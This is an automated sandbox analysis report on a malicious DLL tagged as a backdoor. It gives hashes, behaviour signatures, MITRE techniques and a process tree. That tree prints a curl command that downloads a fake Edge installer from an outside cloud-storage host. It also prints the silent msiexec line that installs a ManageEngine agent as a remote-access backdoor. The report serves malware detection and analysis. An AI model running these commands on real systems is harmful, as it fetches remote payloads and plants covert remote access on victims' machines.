d2b0536a58213c0c755bb16313520520a6bc12d0a17d081d44aeb3efb25b35dc

Analysis

max time kernel
133s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/09/2026, 08:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d2b0536a58213c0c755bb16313520520a6bc12d0a17d081d44aeb3efb25b35dc.dll
Size 5.5MB
Sample260916-kl2tsaxfng
SHA256 d2b0536a58213c0c755bb16313520520a6bc12d0a17d081d44aeb3efb25b35dc
MD5 0d92fdb962401913b5671515062a47a0
SHA1 02937ee26aae2fa47f143a509ab74ff9b614ee1a
SHA512 c02822e030dbd5e23dba0e6097094ef949f749e6a93713e6857b2cc75f2c4bbd6bbcf1119c0e9a656ebc36777f72fa5671ca15e92db09e4ddb69e8c9ac20a446
SSDEEP 98304:124icRQoxdh/c0myh7WdB/6TiL5nZ68VPA4OiZrq1DfPHNADtV6v+:124zHxFxh7Wdp6UnZ68VY4O7NADtV6v+
TLSH
T1CA46DF123D4C1066F01A2EF0CE59A6FDF2BFAD603B2500971994BA0DE677F81461B66F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor defense_evasion discovery execution rat

Malware Config

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	3784	rundll32.exe
4	3784	rundll32.exe
5	3784	rundll32.exe
6	3784	rundll32.exe
7	3784	rundll32.exe
8	3784	rundll32.exe
9	3784	rundll32.exe
10	3784	rundll32.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
11	1220	curl.exe

DCAgent remote management tool 4 IoCs

DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

backdoor rat

resource	yara_rule
behavioral2/files/0x000e00000001c55b-201.dat	hacktool_dcagent
behavioral2/files/0x000d00000001c5a8-428.dat	hacktool_dcagent
behavioral2/files/0x000c00000001c621-670.dat	hacktool_dcagent
behavioral2/files/0x000d00000001c58d-825.dat	hacktool_dcagent

Executes dropped EXE 5 IoCs

pid	Process
4760	NvTelemetryIjYvDmWkPSVH.pol
4372	NvTelemetryQhdCSpjIfZpNicgs.pol
2980	rundll32.exe
824	MicrosoftEdge_X64_152.0.3157.719.exe
2016	dcagentregister.exe

Loads dropped DLL 5 IoCs

pid	Process
5240	MsiExec.exe
2016	dcagentregister.exe
2016	dcagentregister.exe
2016	dcagentregister.exe
2016	dcagentregister.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1304	icacls.exe
3904	icacls.exe
1320	icacls.exe
2300	icacls.exe
4604	icacls.exe

Enumerates connected drives 3 TTPs 45 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe

Looks up external IP address via web service 1 TTPs 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ipinfo.io
5	api.ipify.org
1	api.ipify.org
1	ip-api.com

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1888	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\dclibxml2.dll	msiexec.exe
File created	C:\Windows\SysWOW64\dcagentlibxml2.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\rundll32.exe	rundll32.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1348	WScript.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentupgrader_temp.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_msp_image.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\User.svg	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcannouncement.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Warning_icon.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\windows-antivirus-list.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_uninstall.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Upload.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\FileTransfer\dcfiletransfer.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Alert.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\pwd-show.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\stamp_used.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\detected.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Archive_fail.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Restart.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\waiting.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\sbomConfig.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Apps_active.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\messagebox_warning.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\uesmsghandler.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\hover.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_rejected.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\azurefs.ps1	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\reboot_alert.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\style_hot.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\history_ico.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandlerx64.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\messagebox_info.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Find.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\wmi-classes.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\MicrosoftEdge.admx	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\Tools.vbs	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-pm.xml	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log	MsiExec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win7.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\icon_alert.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Announcement.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\WebrtcDLL.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-rds.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\Bit-locker.bat	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\InvConfig.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\generalAlerts.vbs	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcmsghandler.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-vul.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\approval_status.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-inv.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\waiting_aprvl.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\me-sign.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_download_all.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\File_upload.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-br.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\swConfig.json	msiexec.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e5ab0f2.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\e5ab0f3.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\e5ab0f3.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB70D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}	msiexec.exe
File created	C:\Windows\Installer\e5ab0f2.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE2F53A379939D8FE.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF56AD7F34D8257738.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBC8C.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5620	cmd.exe
2576	cmd.exe
400	cmd.exe
1812	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1392	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3356	taskkill.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000_Classes\Local Settings	MicrosoftEdge_X64_152.0.3157.719.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe
3784	rundll32.exe

Suspicious behavior: LoadsDriver 50 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3784	rundll32.exe
Token: SeLoadDriverPrivilege	3784	rundll32.exe
Token: SeTakeOwnershipPrivilege	3784	rundll32.exe
Token: SeIncBasePriorityPrivilege	3784	rundll32.exe
Token: SeTcbPrivilege	3784	rundll32.exe
Token: SeDebugPrivilege	3784	rundll32.exe
Token: SeCreateTokenPrivilege	3784	rundll32.exe
Token: SeAssignPrimaryTokenPrivilege	3784	rundll32.exe
Token: SeLockMemoryPrivilege	3784	rundll32.exe
Token: SeIncreaseQuotaPrivilege	3784	rundll32.exe
Token: SeMachineAccountPrivilege	3784	rundll32.exe
Token: SeTcbPrivilege	3784	rundll32.exe
Token: SeSecurityPrivilege	3784	rundll32.exe
Token: SeTakeOwnershipPrivilege	3784	rundll32.exe
Token: SeLoadDriverPrivilege	3784	rundll32.exe
Token: SeSystemProfilePrivilege	3784	rundll32.exe
Token: SeSystemtimePrivilege	3784	rundll32.exe
Token: SeProfSingleProcessPrivilege	3784	rundll32.exe
Token: SeIncBasePriorityPrivilege	3784	rundll32.exe
Token: SeCreatePagefilePrivilege	3784	rundll32.exe
Token: SeCreatePermanentPrivilege	3784	rundll32.exe
Token: SeBackupPrivilege	3784	rundll32.exe
Token: SeRestorePrivilege	3784	rundll32.exe
Token: SeShutdownPrivilege	3784	rundll32.exe
Token: SeDebugPrivilege	3784	rundll32.exe
Token: SeAuditPrivilege	3784	rundll32.exe
Token: SeSystemEnvironmentPrivilege	3784	rundll32.exe
Token: SeChangeNotifyPrivilege	3784	rundll32.exe
Token: SeRemoteShutdownPrivilege	3784	rundll32.exe
Token: SeUndockPrivilege	3784	rundll32.exe
Token: SeSyncAgentPrivilege	3784	rundll32.exe
Token: SeEnableDelegationPrivilege	3784	rundll32.exe
Token: SeManageVolumePrivilege	3784	rundll32.exe
Token: SeImpersonatePrivilege	3784	rundll32.exe
Token: SeCreateGlobalPrivilege	3784	rundll32.exe
Token: 31	3784	rundll32.exe
Token: 32	3784	rundll32.exe
Token: 33	3784	rundll32.exe
Token: 34	3784	rundll32.exe
Token: 35	3784	rundll32.exe
Token: SeShutdownPrivilege	1760	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1760	msiexec.exe
Token: SeSecurityPrivilege	4204	msiexec.exe
Token: SeCreateTokenPrivilege	1760	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1760	msiexec.exe
Token: SeLockMemoryPrivilege	1760	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1760	msiexec.exe
Token: SeMachineAccountPrivilege	1760	msiexec.exe
Token: SeTcbPrivilege	1760	msiexec.exe
Token: SeSecurityPrivilege	1760	msiexec.exe
Token: SeTakeOwnershipPrivilege	1760	msiexec.exe
Token: SeLoadDriverPrivilege	1760	msiexec.exe
Token: SeSystemProfilePrivilege	1760	msiexec.exe
Token: SeSystemtimePrivilege	1760	msiexec.exe
Token: SeProfSingleProcessPrivilege	1760	msiexec.exe
Token: SeIncBasePriorityPrivilege	1760	msiexec.exe
Token: SeCreatePagefilePrivilege	1760	msiexec.exe
Token: SeCreatePermanentPrivilege	1760	msiexec.exe
Token: SeBackupPrivilege	1760	msiexec.exe
Token: SeRestorePrivilege	1760	msiexec.exe
Token: SeShutdownPrivilege	1760	msiexec.exe
Token: SeDebugPrivilege	1760	msiexec.exe
Token: SeAuditPrivilege	1760	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1760	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3784	rundll32.exe
1760	msiexec.exe
4204	msiexec.exe
5240	MsiExec.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3116 wrote to memory of 3784	3116	rundll32.exe	88
PID 3784 wrote to memory of 1220	3784	rundll32.exe	96
PID 3784 wrote to memory of 824	3784	rundll32.exe	98
PID 824 wrote to memory of 1348	824	MicrosoftEdge_X64_152.0.3157.719.exe	99
PID 1348 wrote to memory of 1760	1348	WScript.exe	100
PID 4204 wrote to memory of 5240	4204	msiexec.exe	102
PID 3784 wrote to memory of 3356	3784	rundll32.exe	103
PID 3784 wrote to memory of 5620	3784	rundll32.exe	106
PID 5620 wrote to memory of 2576	5620	cmd.exe	108
PID 2576 wrote to memory of 1888	2576	cmd.exe	109
PID 2576 wrote to memory of 300	2576	cmd.exe	110
PID 2576 wrote to memory of 1392	2576	cmd.exe	111
PID 4204 wrote to memory of 2016	4204	msiexec.exe	112

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	11	curl/8.8.0

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\d2b0536a58213c0c755bb16313520520a6bc12d0a17d081d44aeb3efb25b35dc.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3116
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\d2b0536a58213c0c755bb16313520520a6bc12d0a17d081d44aeb3efb25b35dc.dll,#1
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.3157.719.exe" "https://jsdcnkjnasdn.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    - Downloads MZ/PE file
    PID:1220
- - C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.3157.719.exe
    "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.3157.719.exe" /S /norestart
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of WriteProcessMemory
      PID:1348
    - - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1760
- - C:\Windows\SysWOW64\taskkill.exe
